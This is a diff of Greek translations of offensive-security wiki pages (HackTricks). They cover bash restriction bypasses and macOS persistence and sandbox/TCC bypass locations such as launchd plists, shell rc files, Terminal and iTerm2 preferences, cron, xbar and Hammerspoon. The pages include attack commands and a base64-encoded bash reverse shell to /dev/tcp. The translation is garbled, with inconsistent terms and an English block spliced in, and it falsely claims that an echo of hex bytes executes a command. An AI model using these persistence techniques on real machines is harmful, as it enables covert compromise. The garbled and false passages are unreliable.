Η επίθεση αυτή βασίζεται στη χρήση του εντολοδίου `echo` για να εκτελέσει κώδικα. Ακολουθώντας τη σύνταξη `echo -ne`, μπορούμε να εισάγουμε ακολουθίες από διαφορετικούς χαρακτήρες που θα εκτελεστούν από το bash shell.
Για παράδειγμα, η ακόλουθη εντολή θα εκτελέσει την εντολή `id`:
```bash
echo -ne "\x69\x64"
```
Αυτό συμβαίνει επειδή οι χαρακτήρες `\x69\x64` αντιστοιχούν στους χαρακτήρες ASCII για το γράμμα "i" και το γράμμα "d". Όταν αυτή η εντολή εκτελείται, θα εμφανιστεί η ταυτότητα του χρήστη που εκτελεί την εντολή.
Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εκτελέσει οποιαδήποτε εντολή bash με μόνο 4 χαρακτήρες. Είναι σημαντικό να σημειωθεί ότι αυτή η επίθεση απαιτεί την ύπαρξη του εντολοδίου `echo` και την επιτρεπόμενη χρήση του από τον τρέχοντα χρήστη.
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -459,45 +315,45 @@ echo -ne "\x69\x64"
'sh x'
'sh g'
```
## Παράκαμψη Περιορισμών Read-Only/Noexec/Distroless
## Παράκαμψη Περιορισμών Bash σε Λειτουργίες Μόνο για Ανάγνωση/Χωρίς Εκτέλεση/Distroless
Αν βρίσκεστε εντός ενός αρχείου συστήματος με τις προστασίες **read-only και noexec** ή ακόμα και σε ένα δοχείο distroless, υπάρχουν ακόμα τρόποι για να **εκτελέσετε αυθαίρετα δυαδικά αρχεία, ακόμα και ένα κέλυφος!:**
Αν βρίσκεστε μέσα σε ένα σύστημα αρχείων με τις προστασίες **μόνο για ανάγνωση και χωρίς εκτέλεση** ή ακόμη και σε ένα διαμέρισμα distroless, υπάρχουν ακόμη τρόποι για **εκτέλεση αυθαίρετων δυαδικών αρχείων, ακόμη και ενός κελύφους!**
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
{% endcontent-ref %}
## Παράκαμψη Chroot και άλλων Φυλακών
## Παράκαμψη Chroot & Άλλων Φυλακών
{% content-ref url="../privilege-escalation/escaping-from-limited-bash.md" %}
[escaping-from-limited-bash.md](../privilege-escalation/escaping-from-limited-bash.md)
{% endcontent-ref %}
## Αναφορές και Περισσότερα
## Αναφορές & Περισσότερα
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
* [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
Αποκτήστε Πρόσβαση Σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -16,31 +16,31 @@
Αυτή η ενότητα βασίζεται σε μεγάλο βαθμό στη σειρά άρθρων του ιστολογίου [**Πέρα από τα καλά LaunchAgents**](https://theevilbit.github.io/beyond/), με στόχο να προστεθούν **περισσότερες τοποθεσίες Αυτόματης Εκκίνησης** (εάν είναι δυνατό), να υποδειχθεί **ποιες τεχνικές λειτουργούν ακόμα** σήμερα με την τελευταία έκδοση του macOS (13.4) και να καθοριστούν οι **άδειες που απαιτούνται**.
## Παράκαμψη Αμμοθερίου
## Παράκαμψη Αμμοδοχείου
{% hint style="success" %}
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη του αμμοθερίου** που σας επιτρέπει να απλά εκτελέσετε κάτι με το **να το γράψετε σε ένα αρχείο** και να **περιμένετε** για μια πολύ **συνηθισμένη** **ενέργεια**, ένα συγκεκριμένο **χρονικό διάστημα** ή μια **ενέργεια που μπορείτε συνήθως να εκτελέσετε** από μέσα σε ένα αμμοθερίο χωρίς την ανάγκη ριζικών δικαιωμάτων.
Εδώ μπορείτε να βρείτε τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη του αμμοδοχείου** που σας επιτρέπει να απλά εκτελέσετε κάτι με το **να το γράψετε σε ένα αρχείο** και να **περιμένετε** για μια πολύ **συνηθισμένη** **ενέργεια**, ένα συγκεκριμένο **χρονικό διάστημα** ή μια **ενέργεια που μπορείτε συνήθως να εκτελέσετε** από μέσα σε ένα αμμοδοχείο χωρίς την ανάγκη ριζικών δικαιωμάτων.
{% endhint %}
### Launchd
* Χρήσιμο για παράκαμψη αμμοθερίου: [](https://emojipedia.org/check-mark-button)
* Χρήσιμο για παράκαμψη αμμοδοχείου: [](https://emojipedia.org/check-mark-button)
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Τοποθεσίες
* **`/Library/LaunchAgents`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ριζικά δικαιώματα
* Απαιτούνται ρίζες
* **`/Library/LaunchDaemons`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ριζικά δικαιώματα
* Απαιτούνται ρίζες
* **`/System/Library/LaunchAgents`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ριζικά δικαιώματα
* Απαιτούνται ρίζες
* **`/System/Library/LaunchDaemons`**
* **Ενεργοποίηση**: Επανεκκίνηση
* Απαιτούνται ριζικά δικαιώματα
* Απαιτούνται ρίζες
* **`~/Library/LaunchAgents`**
* **Ενεργοποίηση**: Επανασύνδεση
* **`~/Library/LaunchDemons`**
@ -48,16 +48,16 @@
#### Περιγραφή & Εκμετάλλευση
Το **`launchd`** είναι η **πρώτη** **διαδικασία** που εκτελείται από τον πυρήνα του macOS κατά την εκκίνηση και η τελευταία που ολοκληρώνεται κατά τον τερματισμό. Πρέπει πάντα να έχει το **PID 1**. Αυτή η διαδικασία θα **διαβάσει και θα εκτελέσει** τις ρυθμίσεις που υποδεικνύονται στα **plists ASEP** στα:
Το **`launchd`** είναι η **πρώτη** **διαδικασία** που εκτελείται από τον πυρήνα του OX S κατά την εκκίνηση και η τελευταία που ολοκληρώνεται κατά τον τερματισμό. Πρέπει πάντα να έχει το **PID 1**. Αυτή η διαδικασία θα **διαβάσει και θα εκτελέσει** τις ρυθμίσεις που υποδεικνύονται στα **plists ASEP** στα:
* `/Library/LaunchAgents`: Πράκτορες ανά χρήστη εγκατεστημένοι από τον διαχειριστή
* `/Library/LaunchDaemons`: Δαίμονες παγκόσμιας εμβέλειας εγκατεστημένοι από τον διαχειριστή
* `/System/Library/LaunchAgents`: Πράκτορες ανά χρήστη που παρέχονται από την Apple.
* `/System/Library/LaunchDaemons`: Δαίμονες παγκόσμιας εμβέλειας που παρέχονται από την Apple.
Όταν ένας χρήστης συνδέεται, τα plists που βρίσκονται στα `/Users/$USER/Library/LaunchAgents` και `/Users/$USER/Library/LaunchDemons` ξεκινούν με τα **δικαιώματα των συνδεδεμένων χρηστών**.
Όταν ένας χρήστης συνδέεται, τα plists που βρίσκονται στα `/Users/$USER/Library/LaunchAgents` και `/Users/$USER/Library/LaunchDemons` ξεκινούν με τις **άδειες των συνδεδεμένων χρηστών**.
**Η κύρια διαφορά μεταξύ πρακτόρων και δαιμόνων είναι ότι οι πράκτορες φορτώνονται όταν ο χρήστης συνδέεται και οι δαίμονες φορτώνονται κατά την εκκίνηση του συστήματος** (καθώς υπάρχουν υπηρεσίες όπως το ssh που πρέπει να εκτελεστούν πριν οποιοσδήποτε χρήστης έχει πρόσβαση στο σύστημα). Επίσης, οι πράκτορες μπορεί να χρησιμοποιούν το γραφικό περιβάλλον, ενώ οι δαίμονες πρέπει να εκτελούνται στο παρασκήνιο.
**Η κύρια διαφορά μεταξύ πρακτόρων και δαιμόνων είναι ότι οι πράκτορες φορτώνονται όταν ο χρήστης συνδέεται και οι δαίμονες φορτώνονται κατά την εκκίνηση του συστήματος** (καθώς υπάρχουν υπηρεσίες όπως το ssh που πρέπει να εκτελούνται πριν οποιοσδήποτε χρήστης έχει πρόσβαση στο σύστημα). Επίσης, οι πράκτορες μπορεί να χρησιμοποιούν το γραφικό περιβάλλον, ενώ οι δαίμονες πρέπει να εκτελούνται στο παρασκήνιο.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
@ -80,13 +80,13 @@
</dict>
</plist>
```
Υπάρχουν περιπτώσεις όπου ένα **πράκτορας πρέπει να εκτελεστεί πριν ο χρήστης συνδεθεί**, αυτοί ονομάζονται **PreLoginAgents**. Για παράδειγμα, αυτό είναι χρήσιμο για την παροχή τεχνολογίας υποστήριξης κατά τη σύνδεση. Μπορούν επίσης να βρεθούν στο `/Library/LaunchAgents` (δείτε [**εδώ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ένα παράδειγμα).
Υπάρχουν περιπτώσεις όπου ένας **πράκτορας πρέπει να εκτελεστεί πριν ο χρήστης συνδεθεί**, αυτοί ονομάζονται **PreLoginAgents**. Για παράδειγμα, αυτό είναι χρήσιμο για την παροχή τεχνολογίας υποστήριξης κατά τη σύνδεση. Μπορούν επίσης να βρεθούν στο `/Library/LaunchAgents` (δείτε [**εδώ**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) ένα παράδειγμα).
{% hint style="info" %}
Τα νέα αρχεία ρύθμισης Δαίμονων ή Πρακτόρων θα φορτωθούν μετά την επόμενη επανεκκίνηση ή χρησιμοποιώντας την εντολή `launchctl load <target.plist>`. Είναι **επίσης δυνατόν να φορτωθούν αρχεία .plist χωρίς αυτήν την επέκταση** με την εντολή `launchctl -F <file>` (ωστόσο αυτά τα αρχεία plist δεν θα φορτωθούν αυτόματα μετά την επανεκκίνηση).\
Είναι επίσης δυνατόν να **απενεργοποιηθεί** με την εντολή `launchctl unload <target.plist>` (η διαδικασία που δείχνει θα τερματιστεί).
Τα νέα αρχεία ρύθμισης Δαίμονων ή Πρακτόρων θα φορτωθούν μετά την επόμενη επανεκκίνηση ή χρησιμοποιώντας την εντολή `launchctl load <target.plist>`. Είναι **επίσης δυνατό να φορτωθούν αρχεία .plist χωρίς αυτήν την επέκταση** με την εντολή `launchctl -F <file>` (ωστόσο αυτά τα αρχεία plist δεν θα φορτωθούν αυτόματα μετά την επανεκκίνηση).\
Είναι επίσης δυνατό να **απενεργοποιηθεί** με την εντολή `launchctl unload <target.plist>` (η διαδικασία που αναφέρεται θα τερματιστεί).
Για να **διασφαλίσετε** ότι δεν υπάρχει **τίποτα** (όπως μια αντικατάσταση) **που εμποδίζει έναν** **Πράκτορα** ή **Δαίμονα** **να εκτελεστεί**, εκτελέστε: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
Για να **διασφαλίσετε** ότι δεν υπάρχει **τίποτα** (όπως μια παράκαμψη) **που εμποδίζει έναν** **Πράκτορα** ή **Δαίμονα** **από το να εκτελεστεί**, εκτελέστε: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
{% endhint %}
Καταγράψτε όλους τους πράκτορες και δαίμονες που έχουν φορτωθεί από τον τρέχοντα χρήστη:
@ -94,17 +94,17 @@
launchctl list
```
{% hint style="warning" %}
Αν ένα plist ανήκει σε έναν χρήστη, ακόμα κι αν βρίσκεται σε φακέλους συστήματος daemon, η εργασία θα εκτελεστεί ως ο χρήστης και όχι ως root. Αυτό μπορεί να αποτρέψει ορισμένες επιθέσεις εξάρτησης προνομίων.
Αν ένα plist ανήκει σε έναν χρήστη, ακόμα κι αν βρίσκεται σε φακέλους συστήματος daemon, η εργασία θα εκτελείται ως ο χρήστης και όχι ως root. Αυτό μπορεί να αποτρέψει ορισμένες επιθέσεις εξάρτησης δικαιωμάτων.
{% endhint %}
### αρχεία εκκίνησης κελύφους
### Αρχεία εκκίνησης κελύφους
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Ανάλυση (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
* Χρήσιμο για παράκαμψη αμμοθοχών: [](https://emojipedia.org/check-mark-button)
* Χρήσιμο για παράκαμψη της αμμοθολογίας: [](https://emojipedia.org/check-mark-button)
* Παράκαμψη TCC: [](https://emojipedia.org/check-mark-button)
* Αλλά πρέπει να βρείτε μια εφαρμογή με παράκαμψη TCC που εκτελεί ένα κελύφος που φορτώνει αυτά τα αρχεία
* Αλλά πρέπει να βρείτε μια εφαρμογή με παράκαμψη TCC που εκτελεί ένα κελί που φορτώνει αυτά τα αρχεία
#### Τοποθεσίες
@ -124,7 +124,7 @@ launchctl list
* `/etc/profile` (δεν λειτούργησε)
* `~/.profile` (δεν λειτούργησε)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Ενεργοποίηση**: Αναμένεται να ενεργοποιηθεί με xterm, αλλά **δεν είναι εγκατεστημένο** και ακόμα και μετά την εγκατάσταση εμφανίζεται αυτό το σφάλμα: xterm: `DISPLAY is not set`
* **Ενεργοποίηση**: Αναμένεται να ενεργοποιηθεί με xterm, αλλά **δεν είναι εγκατεστημένο** και ακόμη και μετά την εγκατάσταση εμφανίζεται αυτό το σφάλμα: xterm: `DISPLAY is not set`
#### Περιγραφή & Εκμετάλλευση
@ -155,7 +155,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
Όλες οι εφαρμογές που πρόκειται να επανανοιχτούν βρίσκονται μέσα στο plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Έτσι, για να κάνετε τις επανεκκινούμενες εφαρμογές να εκκινούν τη δική σας, απλά χρειάζεται να **προσθέσετε την εφαρμογή σας στη λίστα**.
Έτσι, για να κάνετε τις εφαρμογές επανεκκίνησης να εκκινούν τη δική σας, απλά χρειάζεται να **προσθέσετε την εφαρμογή σας στη λίστα**.
Το UUID μπορεί να βρεθεί αναφέροντας αυτό τον κατάλογο ή με την εντολή `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
@ -179,7 +179,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
* Χρήσιμο για παράκαμψη αμμόλοφου: [](https://emojipedia.org/check-mark-button)
* Παράκαμψη TCC: [](https://emojipedia.org/check-mark-button)
* Το Terminal χρησιμοποιεί τις άδειες FDA του χρήστη που το χρησιμοποιεί
* Χρήση Terminal για άδειες FDA του χρήστη που το χρησιμοποιεί
#### Τοποθεσία
@ -212,7 +212,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
Έτσι, αν το plist των προτιμήσεων του τερματικού στο σύστημα μπορεί να αντικατασταθεί, τότε η λειτουργία **`open`** μπορεί να χρησιμοποιηθεί για **να ανοίξει το τερματικό και να εκτελεστεί εκείνη η εντολή**.
Μπορείτε να το προσθέσετε αυτό από το cli με:
Μπορείτε να προσθέσετε αυτό από το cli με:
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
@ -223,11 +223,11 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
{% endcode %}
### Σενάρια Τερματικού / Άλλες επεκτάσεις αρχείων
### Σενάρια τερματικού / Άλλες επεκτάσεις αρχείων
* Χρήσιμο για παράκαμψη της αμμόλοφης: [](https://emojipedia.org/check-mark-button)
* Παράκαμψη TCC: [](https://emojipedia.org/check-mark-button)
* Χρήση του Τερματικού για να έχει άδειες FDA του χρήστη που το χρησιμοποιεί
* Χρήση τερματικού για να έχει ο χρήστης FDA δικαιώματα
#### Τοποθεσία
@ -236,7 +236,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
#### Περιγραφή & Εκμετάλλευση
Αν δημιουργήσετε ένα [**`.terminal`** σενάριο](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) και το ανοίξετε, η εφαρμογή **Τερματικό** θα εκτελέσει αυτόματα τις εντολές που υποδεικνύονται εκεί. Αν η εφαρμογή Τερματικού έχει κάποιες ειδικές προνομιακές άδειες (όπως η TCC), η εντολή σας θα εκτελεστεί με αυτές τις ειδικές προνομιακές άδειες.
Αν δημιουργήσετε ένα [**`.terminal`** σενάριο](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) και το ανοίξετε, η εφαρμογή **Τερματικό** θα εκτελέσει αυτόματα τις εντολές που υποδηλώνονται εκεί. Αν η εφαρμογή Τερματικού έχει κάποια ειδικά προνόμια (όπως TCC), η εντολή σας θα εκτελεστεί με αυτά τα ειδικά προνόμια.
Δοκιμάστε το με:
```bash
@ -266,7 +266,7 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```
Μπορείτε επίσης να χρησιμοποιήσετε τις επεκτάσεις **`.command`**, **`.tool`**, με κανονικό περιεχόμενο shell script και θα ανοίγονται επίσης από το Terminal.
Μπορείτε επίσης να χρησιμοποιήσετε τις επεκτάσεις **`.command`**, **`.tool`**, με κανονικό περιεχόμενο shell scripts και θα ανοίγονται επίσης από το Terminal.
{% hint style="danger" %}
Αν το terminal έχει **Πλήρη Πρόσβαση Δίσκου** θα μπορεί να ολοκληρώσει αυτή την ενέργεια (σημειώστε ότι η εντολή που εκτελείται θα είναι ορατή σε ένα παράθυρο του terminal).
@ -319,7 +319,7 @@ open /tmp/test.terminal
Τα πρόσθετα QuickLook μπορούν να εκτελεστούν όταν **ενεργοποιείτε την προεπισκόπηση ενός αρχείου** (πατώντας το πλήκτρο διαστήματος με το αρχείο που έχετε επιλέξει στο Finder) και ένα **πρόσθετο που υποστηρίζει αυτόν τον τύπο αρχείου** είναι εγκατεστημένο.
Είναι δυνατόν να συντάξετε το δικό σας πρόσθετο QuickLook, να το τοποθετήσετε σε μία από τις προηγούμενες τοποθεσίες για να το φορτώσετε και στη συνέχεια να μεταβείτε σε ένα υποστηριζόμενο αρχείο και να πατήσετε διάστημα για να το ενεργοποιήσετε.
Είναι δυνατόν να συντάξετε το δικό σας πρόσθετο QuickLook, να το τοποθετήσετε σε μία από τις προηγούμενες τοποθεσίες για να το φορτώσετε και στη συνέχεια να μεταβείτε σε ένα υποστηριζόμενο αρχείο και να πατήσετε διαστήματος για να το ενεργοποιήσετε.
### ~~Συνδέσεις Εισόδου/Εξόδου~~
@ -369,7 +369,7 @@ defaults delete com.apple.loginwindow LogoutHook
## Παράκαμψη Συνθηκών Αμμοθεράπειας
{% hint style="success" %}
Εδώ μπορείτε να βρείτε τις τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη της αμμοθεράπειας** που σας επιτρέπει να απλά εκτελέσετε κάτι **γράφοντάς το σε ένα αρχείο** και **περιμένοντας μην τόσο κοινές συνθήκες** όπως συγκεκριμένα **προγράμματα εγκατεστημένα, "ασυνήθιστες" ενέργειες χρήστη** ή περιβάλλοντα.
Εδώ μπορείτε να βρείτε τις τοποθεσίες εκκίνησης χρήσιμες για τη **παράκαμψη της αμμοθεράπειας** που σας επιτρέπει να εκτελέσετε κάτι απλά **γράφοντάς το σε ένα αρχείο** και **περιμένοντας μη πολύ συνηθισμένες συνθήκες** όπως συγκεκριμένα **εγκατεστημένα προγράμματα, "ασυνήθιστες" ενέργειες χρήστη** ή περιβάλλοντα.
{% endhint %}
### Χρονοδιάγραμμα (Cron)
@ -389,7 +389,7 @@ defaults delete com.apple.loginwindow LogoutHook
#### Περιγραφή & Εκμετάλλευση
Καταχωρίστε τις εργασίες του χρονοδιαγράμματος του **τρέχοντος χρήστη** με:
Καταχωρήστε τις εργασίες του χρονοδιαγράμματος του **τρέχοντος χρήστη** με:
```bash
crontab -l
```
@ -400,7 +400,7 @@ crontab -l
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
Εκεί μπορείτε να βρείτε τις κανονικές **εργασίες cron**, τις **εργασίες at** (που δε χρησιμοποιούνται πολύ) και τις **περιοδικές εργασίες** (χρησιμοποιούνται κυρίως για τον καθαρισμό προσωρινών αρχείων). Οι ημερήσιες περιοδικές εργασίες μπορούν να εκτελεστούν για παράδειγμα με: `periodic daily`.
Εκεί μπορείτε να βρείτε τις κανονικές **εργασίες cron**, τις **εργασίες at** (που δε χρησιμοποιούνται πολύ) και τις **περιοδικές εργασίες** (χρησιμοποιούνται κυρίως για τον καθαρισμό προσωρινών αρχείων). Οι καθημερινές περιοδικές εργασίες μπορούν να εκτελεστούν για παράδειγμα με: `periodic daily`.
Για να προσθέσετε μια **εργασία cron χρήστη προγραμματικά** είναι δυνατόν να χρησιμοποιήσετε:
```bash
@ -411,7 +411,7 @@ crontab /tmp/cron
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
* Χρήσιμο για παράκαμψη αμμοθονίου: [](https://emojipedia.org/check-mark-button)
* Χρήσιμο για παράκαμψη αμμόλοφου: [](https://emojipedia.org/check-mark-button)
* Παράκαμψη TCC: [](https://emojipedia.org/check-mark-button)
* Το iTerm2 χρησιμοποιείται για τη χορήγηση δικαιωμάτων TCC
@ -444,7 +444,9 @@ Launch Agents are used to run processes when a user logs in. They are stored in
- `/Library/LaunchAgents/`
- `/System/Library/LaunchAgents/`
- `/Users/<username>/Library/LaunchAgents/`
- `/System/Library/LaunchDaemons/`
- `/Library/LaunchDaemons/`
- `~/Library/LaunchAgents/`
### Launch Daemons
@ -487,9 +489,9 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
```
Οι προτιμήσεις του iTerm2 βρίσκονται στο **`~/Library/Preferences/com.googlecode.iterm2.plist`** μπορεί **να υποδεικνύουν έναν εντολή για εκτέλεση** όταν ανοίγει το τερματικό iTerm2.
Αυτή η ρύθμιση μπορεί να διαμορφωθεί στις ρυθμίσεις του iTerm2:
Αυτή η ρύθμιση μπορεί να προσαρμοστεί στις ρυθμίσεις του iTerm2:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Και η εντολή αντανακλάται στις προτιμήσεις:
```bash
@ -517,7 +519,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %}
{% hint style="warning" %}
Υπάρχει υψηλή πιθανότητα να υπάρχουν **άλλοι τρόποι εκμετάλλευσης των προτιμήσεων του iTerm2** για την εκτέλεση αυθαίρετων εντολών.
Υπάρχει μεγάλη πιθανότητα να υπάρχουν **άλλοι τρόποι εκμετάλλευσης των προτιμήσεων του iTerm2** για την εκτέλεση αυθαίρετων εντολών.
{% endhint %}
### xbar
@ -536,7 +538,7 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
#### Περιγραφή
Αν το δημοφιλές πρόγραμμα [**xbar**](https://github.com/matryer/xbar) είναι εγκατεστημένο, είναι δυνατόν να γραφτεί ένα shell script στο **`~/Library/Application\ Support/xbar/plugins/`** το οποίο θα εκτελείται όταν ξεκινά το xbar:
Αν το δημοφιλές πρόγραμμα [**xbar**](https://github.com/matryer/xbar) είναι εγκατεστημένο, είναι δυνατόν να γραφτεί ένα shell script στο **`~/Library/Application\ Support/xbar/plugins/`** το οποίο θα εκτελείται όταν ξεκινάει το xbar:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@ -560,7 +562,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
#### Περιγραφή
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) λειτουργεί ως πλατφόρμα αυτοματισμού για το **macOS**, εκμεταλλευόμενο τη γλώσσα σεναρίων **LUA** για τις λειτουργίες του. Ειδικότερα, υποστηρίζει την ολοκλήρωση πλήρους κώδικα AppleScript και την εκτέλεση κελιών εντολών, βελτιώνοντας σημαντικά τις δυνατότητες σεναριογραφίας του.
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) λειτουργεί ως πλατφόρμα αυτοματισμού για το **macOS**, εκμεταλλευόμενο τη γλώσσα σεναρίου **LUA** για τις λειτουργίες του. Είναι σημαντικό να σημειωθεί ότι υποστηρίζει την ολοκλήρωση πλήρους κώδικα AppleScript και την εκτέλεση κελιών εντολών, βελτιώνοντας σημαντικά τις δυνατότητες σεναριογραφίας του.
Η εφαρμογή αναζητά ένα μόνο αρχείο, `~/.hammerspoon/init.lua`, και όταν ξεκινάει, το σενάριο θα εκτελεστεί.
```bash
@ -587,7 +589,7 @@ EOF
* Χρήσιμο για παράκαμψη του sandbox: [](https://emojipedia.org/check-mark-button)
* Αλλά το Alfred πρέπει να είναι εγκατεστημένο
* TCC παράκαμψη: [](https://emojipedia.org/check-mark-button)
* Ζητά δικαιώματα Automation, Accessibility και ακόμη πρόσβαση σε ολόκληρο το δίσκο
* Ζητά δικαιώματα Automation, Accessibility και ακόμα πρόσβαση στον πλήρη δίσκο
#### Τοποθεσία
@ -607,7 +609,7 @@ sudo systemsetup -setremotelogin on
Ανάλυση: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
* Χρήσιμο για παράκαμψη αμμοθοχών: [](https://emojipedia.org/check-mark-button)
* Χρήσιμο για παράκαμψη της αμμόλοφης: [](https://emojipedia.org/check-mark-button)
* Αλλά χρειάζεται να εκτελέσετε το `osascript` με ορίσματα
* Παράκαμψη TCC: [🔴](https://emojipedia.org/large-red-circle)
@ -640,11 +642,11 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
### ZIP ως Στοιχείο Σύνδεσης
